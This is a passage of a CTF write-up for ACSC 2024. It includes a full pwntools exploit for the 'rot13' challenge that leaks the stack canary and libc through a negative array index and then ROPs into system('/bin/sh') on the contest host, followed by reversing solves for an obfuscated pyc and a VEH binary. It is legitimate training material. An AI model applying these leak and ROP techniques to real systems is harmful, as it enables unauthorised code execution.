  <span class="n">putchar</span><span class="p">(</span><span class="sc">'\n'</span><span class="p">);</span>
<span class="p">}</span>

<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
  <span class="k">const</span> <span class="kt">char</span> <span class="n">table</span><span class="p">[</span><span class="mh">0x100</span><span class="p">]</span> <span class="o">=</span> <span class="n">ROT13_TABLE</span><span class="p">;</span>
  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mh">0x100</span><span class="p">];</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>
  <span class="n">setbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="nb">NULL</span><span class="p">);</span>

  <span class="k">while</span> <span class="p">(</span><span class="mi">1</span><span class="p">)</span> <span class="p">{</span>
    <span class="n">printf</span><span class="p">(</span><span class="s">"Text: "</span><span class="p">);</span>
    <span class="n">memset</span><span class="p">(</span><span class="n">buf</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">buf</span><span class="p">));</span>
    <span class="k">if</span> <span class="p">(</span><span class="n">scanf</span><span class="p">(</span><span class="s">"%[^</span><span class="se">\n</span><span class="s">]%*c"</span><span class="p">,</span> <span class="n">buf</span><span class="p">)</span> <span class="o">!=</span> <span class="mi">1</span><span class="p">)</span>
      <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
    <span class="n">rot13</span><span class="p">(</span><span class="n">table</span><span class="p">,</span> <span class="n">buf</span><span class="p">);</span>
  <span class="p">}</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
</pre></td><td class="rouge-code"><pre>acsc2024/rot13$ checksec rot13
[*] '/mnt/c/Users/brons/ctf/acsc2024/rot13/rot13'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
</pre></td></tr></tbody></table></code></pre></div></div>

<p>It’s clear the scanf is the bug here, you can write arbitrary data onto the stack, and just ROP from there. 
However, how would I leak the stack canary and addresses. 
Originally I thought you’d abuse <code class="language-plaintext highlighter-rouge">strlen</code>. 
I spend way longer than I’d like to admit trying to make scanf not append a null byte for a leak. 
The leak is actually <code class="language-plaintext highlighter-rouge">putchar(table[buf[i]]);</code>, where buf[i] is a signed char array. 
That means it can contain negative values, and we can leak contents on the negative index of the table!
Since the table is on the stack, we can leak the canary and all the addresses we’ll need. 
So a simple leak and some ROP later, we got our flag.</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}</code></p>

<div class="accordion mb-2" id="rot_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-rot_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#rot_solve-content" aria-expanded="true" aria-controls="rot_solve-content">
         <p>Show exp.py</p>
 
      </button>
    </p>
    <div id="rot_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-rot_solve" data-bs-parent="#rot_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
</pre></td><td class="rouge-code"><pre><span class="c1">#!/usr/bin/python3
</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>

<span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./rot13_patched"</span><span class="p">)</span>
<span class="n">libc</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./libc.so.6"</span><span class="p">)</span>

<span class="n">context</span><span class="p">.</span><span class="n">binary</span> <span class="o">=</span> <span class="n">elf</span>
<span class="n">context</span><span class="p">.</span><span class="n">terminal</span> <span class="o">=</span> <span class="p">[</span><span class="s">"tmux"</span><span class="p">,</span> <span class="s">"splitw"</span><span class="p">,</span> <span class="s">"-h"</span><span class="p">]</span>

<span class="k">def</span> <span class="nf">connect</span><span class="p">():</span>
    <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">REMOTE</span><span class="p">:</span>
        <span class="n">nc_str</span> <span class="o">=</span> <span class="s">"nc rot13.chal.2024.ctf.acsc.asia 9999"</span>
        <span class="n">_</span><span class="p">,</span> <span class="n">host</span><span class="p">,</span> <span class="n">port</span> <span class="o">=</span> <span class="n">nc_str</span><span class="p">.</span><span class="n">split</span><span class="p">(</span><span class="s">" "</span><span class="p">)</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="n">host</span><span class="p">,</span> <span class="nb">int</span><span class="p">(</span><span class="n">port</span><span class="p">))</span>

    <span class="k">else</span><span class="p">:</span>
        <span class="n">p</span> <span class="o">=</span> <span class="n">process</span><span class="p">([</span><span class="n">elf</span><span class="p">.</span><span class="n">path</span><span class="p">])</span>
        <span class="k">if</span> <span class="n">args</span><span class="p">.</span><span class="n">GDB</span><span class="p">:</span>
            <span class="n">gdb_script</span> <span class="o">=</span> <span class="s">"""
            b *main+752
            """</span>
            <span class="n">gdb</span><span class="p">.</span><span class="n">attach</span><span class="p">(</span><span class="n">p</span><span class="p">,</span> <span class="n">gdb_script</span><span class="p">)</span>

    <span class="k">return</span> <span class="n">p</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    <span class="n">p</span> <span class="o">=</span> <span class="n">connect</span><span class="p">()</span>
    <span class="n">payload</span> <span class="o">=</span> <span class="nb">bytes</span><span class="p">([</span><span class="n">i</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mh">0x80</span><span class="p">,</span> <span class="mh">0x100</span><span class="p">)])</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
    <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"Result: "</span><span class="p">)</span>
    <span class="n">leak</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
    <span class="k">print</span><span class="p">(</span><span class="n">leak</span><span class="p">)</span>
    <span class="n">main</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">72</span><span class="p">])</span> <span class="o">-</span> <span class="n">elf</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'main'</span><span class="p">]</span>
    <span class="n">stack_canary</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">104</span><span class="p">:</span><span class="mi">112</span><span class="p">])</span>
    <span class="n">libc_base</span> <span class="o">=</span> <span class="n">u64</span><span class="p">(</span><span class="n">leak</span><span class="p">[</span><span class="mi">8</span><span class="p">:</span><span class="mi">16</span><span class="p">])</span> <span class="o">-</span> <span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'putchar'</span><span class="p">]</span> <span class="o">-</span> <span class="mi">119</span>
    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">))</span>
    <span class="n">libc_base</span> <span class="o">&amp;=</span> <span class="mh">0xfffffffffffff000</span>
    <span class="n">elf</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">main</span>
    <span class="n">libc</span><span class="p">.</span><span class="n">address</span> <span class="o">=</span> <span class="n">libc_base</span>

    <span class="k">print</span><span class="p">(</span><span class="nb">hex</span><span class="p">(</span><span class="n">main</span><span class="p">),</span> <span class="nb">hex</span><span class="p">(</span><span class="n">libc_base</span><span class="p">),</span> <span class="nb">hex</span><span class="p">(</span><span class="n">stack_canary</span><span class="p">))</span>

    <span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mh">0x100</span>
    <span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">stack_canary</span><span class="p">)</span>
    <span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">stack_canary</span><span class="p">)</span>
    <span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mh">0x101a</span><span class="p">)</span>
    <span class="n">payload</span><span class="o">+=</span><span class="n">p64</span><span class="p">(</span><span class="n">main</span><span class="o">+</span><span class="mh">0x101a</span><span class="p">)</span>
    <span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="n">libc</span><span class="p">)</span>
    <span class="n">rop</span><span class="p">.</span><span class="n">raw</span><span class="p">(</span><span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">)</span>
    <span class="n">rop</span><span class="p">.</span><span class="n">raw</span><span class="p">(</span><span class="nb">next</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s">"/bin/sh</span><span class="se">\x00</span><span class="s">"</span><span class="p">)))</span>
    <span class="n">rop</span><span class="p">.</span><span class="n">raw</span><span class="p">(</span><span class="n">libc</span><span class="p">.</span><span class="n">symbols</span><span class="p">[</span><span class="s">'system'</span><span class="p">])</span>
    <span class="n">payload</span><span class="o">+=</span> <span class="n">rop</span><span class="p">.</span><span class="n">chain</span><span class="p">()</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
		<span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">""</span><span class="p">)</span> <span class="c1"># end input to trigger ROP
</span>    <span class="n">p</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>

<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
<span class="c1"># ACSC{aRr4y_1nd3X_sh0uLd_b3_uNs1Gn3d}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h2 id="rev">Rev</h2>

<h3 id="compyled">*Compyled</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by splitline

It's just a compiled Python. It won't hurt me...
</pre></td></tr></tbody></table></code></pre></div></div>

<p>For this challenge, we are given a pyc file. Trying to decompile the file back to python leads nowhere. Firstly, the opcode used (<code class="language-plaintext highlighter-rouge">MATCH_SEQUENCE</code>) can’t be decompiled by any known decompiler. Secondly, the first few instructions reference constants out of bounds. At least pycdas still gives us the byte codes…</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
</pre></td><td class="rouge-code"><pre>run.pyc (Python 3.10)
[Code]
    File Name: &lt;sandbox&gt;
    Object Name: &lt;eval&gt;
    Arg Count: 0
    Pos Only Arg Count: 0
    KW Only Arg Count: 0
    Locals: 0
    Stack Size: 0
    Flags: 0x00000040 (CO_NOFREE)
    [Names]
        'print'
        'input'
    [Var Names]
    [Free Vars]
    [Cell Vars]
    [Constants]
        'FLAG&gt; '
        'CORRECT'
    [Disassembly]
        0       LOAD_NAME                     1: input
        2       LOAD_CONST                    0: 'FLAG&gt; '
        4       CALL_FUNCTION                 1
        6       LOAD_CONST                    12 &lt;INVALID&gt;
        8       LOAD_CONST                    20 &lt;INVALID&gt;
        10      BUILD_TUPLE                   0
        12      MATCH_SEQUENCE
        14      ROT_TWO
        16      POP_TOP
        18      DUP_TOP
        20      BINARY_ADD
        22      DUP_TOP
        24      BINARY_ADD
        26      DUP_TOP
        28      BINARY_ADD
        30      DUP_TOP
        32      BINARY_ADD
        34      DUP_TOP
        36      BINARY_ADD
        38      DUP_TOP
        40      BINARY_ADD
        42      BUILD_TUPLE                   0
        44      MATCH_SEQUENCE
        46      ROT_TWO
        48      POP_TOP
        50      BINARY_ADD
[...]
        2410    BINARY_ADD
        2412    BUILD_TUPLE                   38
        2414    CALL_FUNCTION                 1
        2416    CALL_FUNCTION                 1
        2418    BUILD_TUPLE                   0
        2420    MATCH_SEQUENCE
        2422    ROT_TWO
        2424    POP_TOP
        2426    DUP_TOP
        2428    BINARY_ADD
        2430    BUILD_TUPLE                   0
        2432    MATCH_SEQUENCE
        2434    ROT_TWO
        2436    POP_TOP
        2438    UNARY_NEGATIVE
        2440    BUILD_SLICE                   2
        2442    BINARY_SUBSCR
        2444    COMPARE_OP                    2 (==)
        2446    POP_JUMP_IF_FALSE             0 (to 0)
        2448    LOAD_NAME                     1: input
        2450    LOAD_CONST                    1: 'CORRECT'
        2452    CALL_FUNCTION                 1
        2454    RETURN_VALUE
</pre></td></tr></tbody></table></code></pre></div></div>

<p>Notice that it tries to load constants at offsets 12 and 20, whereas the file only has 2 constants.
It’s abusing out of bound indexes to get values from the memory. 
Sadly, this makes this pyc file extremely inconsistent. 
The file can only be run successfully around 1/5 of the time on my machine, probably due to some randomized stack layout.</p>

<p>During the competition, I was completely clueless as to what those instructions do. 
I looked up the <code class="language-plaintext highlighter-rouge">MATCH_SEQUENCE</code> instruction, but there didn’t seem to be any sequence in this file.
I thought that the tuple wasn’t a sequence, so it would push a false onto the stack. 
Also, all the other arithmetics just seem weird to me.</p>

<blockquote>
  <p>That’s probably mostly because it’s 7 in the morning at this point and I’ve been up all night.
Not the ideal state for playing a CTF, but you do what you need to do…</p>
</blockquote>

<p>After the competition ended, I looked up how other people approach this challenge. 
There are mainly two approaches, either print out the value after it’s calculated by the file itself, or just understand how the values are constructed. 
For the first approach, if we look at the disassembled bytecode, we see that in the end, our value is compared using the COMPARE_OP. 
If at that point we instead print out that value, using <code class="language-plaintext highlighter-rouge">input</code> for example, we can straight up print out the flag. Patching run.pyc file using a hex editor or anything of your choice can achieve this.</p>

<p>Now for understanding the program. 
It turns out the MATCH_SEQUENCE will match on a tuple, and push a true onto the stack. If we look at the 4 instruction sequence</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
</pre></td><td class="rouge-code"><pre>        2      BUILD_TUPLE                   0
        4      MATCH_SEQUENCE
        6      ROT_TWO
        8      POP_TOP
</pre></td></tr></tbody></table></code></pre></div></div>

<p>It pushes an empty tuple, then pushes a true, and pops the empty tuple. 
Therefore, the whole sequence is simply just pushing a ture (1) onto the stack. 
Now the other operations string together to construct all the values needed for the comparison. 
On byte 2412, all the values on the stack are turned to a tuple. 
The tuple is then called with bytes and str (found through experiments and printing out values with <code class="language-plaintext highlighter-rouge">input</code>). 
The result is compared with the user input to determine if correct should be printed or not. 
Simulating this procedure is easy enough. 
Parse the disassembled output a little bit, and the final stack contains the flag.</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}</code></p>

<p>ps - <code class="language-plaintext highlighter-rouge">dis.txt</code> is some pre-processed output of pycdas, removed the line number and the other file descriptions</p>

<div class="accordion mb-2" id="comp_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-comp_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#comp_solve-content" aria-expanded="true" aria-controls="comp_solve-content">
         <p>Show decompile.py</p>
 
      </button>
    </p>
    <div id="comp_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-comp_solve" data-bs-parent="#comp_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"dis.txt"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">().</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s">"</span><span class="se">\n</span><span class="s">"</span><span class="p">)</span>
<span class="n">f</span> <span class="o">=</span> <span class="p">[</span><span class="n">i</span><span class="p">.</span><span class="n">split</span><span class="p">()[</span><span class="mi">0</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">f</span> <span class="k">if</span> <span class="n">i</span> <span class="o">!=</span> <span class="sa">b</span><span class="s">""</span><span class="p">]</span>

<span class="n">nf</span> <span class="o">=</span> <span class="p">[]</span>
<span class="n">i</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">while</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">f</span><span class="p">)</span> <span class="o">-</span> <span class="mi">3</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">f</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"BUILD_TUPLE"</span> <span class="ow">and</span> <span class="n">f</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"MATCH_SEQUENCE"</span> <span class="ow">and</span> <span class="n">f</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">2</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"ROT_TWO"</span> <span class="ow">and</span> <span class="n">f</span><span class="p">[</span><span class="n">i</span><span class="o">+</span><span class="mi">3</span><span class="p">]</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"POP_TOP"</span><span class="p">:</span>
        <span class="n">nf</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="sa">b</span><span class="s">"PUSH 1"</span><span class="p">)</span>
        <span class="n">i</span><span class="o">+=</span><span class="mi">4</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="n">nf</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">f</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>
        <span class="n">i</span><span class="o">+=</span><span class="mi">1</span>

<span class="n">stack</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">nf</span><span class="p">:</span>
    <span class="k">if</span> <span class="n">i</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"PUSH 1"</span><span class="p">:</span>
        <span class="n">stack</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"BINARY_ADD"</span><span class="p">:</span>
        <span class="n">a</span><span class="p">,</span> <span class="n">b</span> <span class="o">=</span> <span class="n">stack</span><span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">],</span> <span class="n">stack</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span>
        <span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
        <span class="n">stack</span><span class="p">.</span><span class="n">pop</span><span class="p">()</span>
        <span class="n">stack</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">a</span><span class="o">+</span><span class="n">b</span><span class="p">)</span>
    <span class="k">elif</span> <span class="n">i</span> <span class="o">==</span> <span class="sa">b</span><span class="s">"DUP_TOP"</span><span class="p">:</span>
        <span class="n">stack</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">stack</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span>
    <span class="k">else</span><span class="p">:</span>
        <span class="k">print</span><span class="p">(</span><span class="sa">f</span><span class="s">"unknown opcode: </span><span class="si">{</span><span class="n">i</span><span class="si">}</span><span class="s">"</span><span class="p">)</span>


<span class="k">print</span><span class="p">(</span><span class="n">stack</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">stack</span><span class="p">))</span>
<span class="c1"># ACSC{d1d_u_notice_the_oob_L04D_C0N5T?}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="sneaky-veh">Sneaky VEH</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by hank_chen

Where is the flag?
</pre></td></tr></tbody></table></code></pre></div></div>

<p>I start by throwing the binary at ghidra. Viewing the main function shows us that 4 command line arguments are needed. I then proceed to run the program with 4 random values. (I used WSL on Windows so it’s quite natural to just run the program, though this is probably a bad practice when reversing  🤔)</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>acsc2024/sneaky-veh$ ./sneaky_veh.exe 1 1 1 1
[+] Put 4 correct passcodes in command line arguments and you will get the flag!
KEY0: 1
KEY1: 1
KEY2: 1
KEY3: 1
???
See Ya!
</pre></td></tr></tbody></table></code></pre></div></div>

<p>So the arguments are reflected to the output. Let’s find out where those arguments are stored. I searched for <code class="language-plaintext highlighter-rouge">KEY</code> as a defined string and found where those values are stored in memory. Well if those are the keys, they must be used for decoding the flag right?</p>

<p>I then go to all the places where those memory addresses are read from and get some interesting looking equations. Let’s call them check1 through 3.</p>

<p>check1 (0x12a0):
<img src="/img/acsc2024-sneaky-1.png" alt="" /></p>

<p>Our key values seem to be compared with some parameters, we’ll need to find out the values later.</p>

<p>check2 (0x13b0):
<img src="/img/acsc2024-sneaky-2.png" alt="" /></p>

<p>The function manipulates our value and then compares it with some other values in memory, this can be used as a constraint.</p>

<p>check3 (0x1b50):
<img src="/img/acsc2024-sneaky-3.png" alt="" /></p>

<p>The key values are used to xor some value in memory, and “decrypt” some values in memory.</p>

<p>For now, only check2 is useful. 
I used z3 to recover a usable set of arguments and feed that to the program. 
Hey, something popped up! 
Seems like we passed the first check, but the flag doesn’t show up.
We still need to recover what arguments are passed to check1.</p>

<p>I turned to dynamic reversing for this and fired up x32debug. 
This is probably the first time I used this… 
So I set a breakpoint at check1, and run with the arguments. 
Ah… it’s breaking on some other exceptions. 
After a lot (like A LOT) of continues, we land on the function.</p>

<p><img src="/img/acsc2024-sneaky-4.png" alt="" /></p>

<p>So check1 is called with ‘ACSC2024’ as the argument. With this knowledge, we can recover the correct key needed using z3.</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{VectOred_EecepTi0n_H@nd1ing_14_C0Ol}1013</code></p>

<div class="accordion mb-2" id="sneaky_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-sneaky_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#sneaky_solve-content" aria-expanded="true" aria-controls="sneaky_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="sneaky_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-sneaky_solve" data-bs-parent="#sneaky_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">z3</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">u32</span>

<span class="n">s1</span> <span class="o">=</span> <span class="n">Solver</span><span class="p">()</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">BitVec</span><span class="p">(</span><span class="s">'a'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">b</span> <span class="o">=</span> <span class="n">BitVec</span><span class="p">(</span><span class="s">'b'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">s2</span> <span class="o">=</span> <span class="n">Solver</span><span class="p">()</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">BitVec</span><span class="p">(</span><span class="s">'c'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">BitVec</span><span class="p">(</span><span class="s">'d'</span><span class="p">,</span> <span class="mi">32</span><span class="p">)</span>
<span class="n">ans</span> <span class="o">=</span> <span class="p">[</span><span class="mh">0x252d0d17</span><span class="p">,</span> <span class="mh">0x253f1d15</span><span class="p">,</span> <span class="mh">0xbea57768</span><span class="p">,</span> <span class="mh">0xbaa5756e</span><span class="p">]</span>

<span class="n">s1</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">LShR</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">LShR</span><span class="p">(</span><span class="n">a</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff00</span><span class="p">)</span> <span class="o">|</span> <span class="n">a</span><span class="o">&lt;&lt;</span><span class="mh">0x10</span><span class="p">)</span> <span class="o">^</span> <span class="n">b</span> <span class="o">==</span> <span class="n">ans</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="n">s1</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">LShR</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">LShR</span><span class="p">(</span><span class="n">b</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff00</span><span class="p">)</span> <span class="o">|</span> <span class="n">b</span><span class="o">&lt;&lt;</span><span class="mh">0x10</span><span class="p">)</span> <span class="o">^</span> <span class="n">a</span> <span class="o">==</span> <span class="n">ans</span><span class="p">[</span><span class="mi">1</span><span class="p">])</span>
<span class="n">s1</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">a</span><span class="o">^</span><span class="n">b</span> <span class="o">==</span> <span class="n">u32</span><span class="p">(</span><span class="sa">b</span><span class="s">"ACSC"</span><span class="p">))</span>
<span class="n">s1</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">b</span><span class="o">^</span><span class="n">u32</span><span class="p">(</span><span class="sa">b</span><span class="s">"ACSC"</span><span class="p">))</span> <span class="o">&amp;</span> <span class="mh">0xff</span> <span class="o">==</span> <span class="mh">0x99</span><span class="p">)</span>

<span class="n">s2</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">LShR</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">LShR</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff00</span><span class="p">)</span> <span class="o">|</span> <span class="n">c</span><span class="o">&lt;&lt;</span><span class="mh">0x10</span><span class="p">)</span> <span class="o">^</span> <span class="n">d</span> <span class="o">==</span> <span class="n">ans</span><span class="p">[</span><span class="mi">2</span><span class="p">])</span>
<span class="n">s2</span><span class="p">.</span><span class="n">add</span><span class="p">((</span><span class="n">LShR</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="mh">0x18</span><span class="p">)</span> <span class="o">|</span> <span class="p">(</span><span class="n">LShR</span><span class="p">(</span><span class="n">d</span><span class="p">,</span> <span class="mh">0x8</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mh">0xff00</span><span class="p">)</span> <span class="o">|</span> <span class="n">d</span><span class="o">&lt;&lt;</span><span class="mh">0x10</span><span class="p">)</span> <span class="o">^</span> <span class="n">c</span> <span class="o">==</span> <span class="n">ans</span><span class="p">[</span><span class="mi">3</span><span class="p">])</span>
<span class="n">s2</span><span class="p">.</span><span class="n">add</span><span class="p">(</span><span class="n">c</span><span class="o">^</span><span class="n">d</span> <span class="o">==</span> <span class="n">u32</span><span class="p">(</span><span class="sa">b</span><span class="s">"2024"</span><span class="p">))</span>
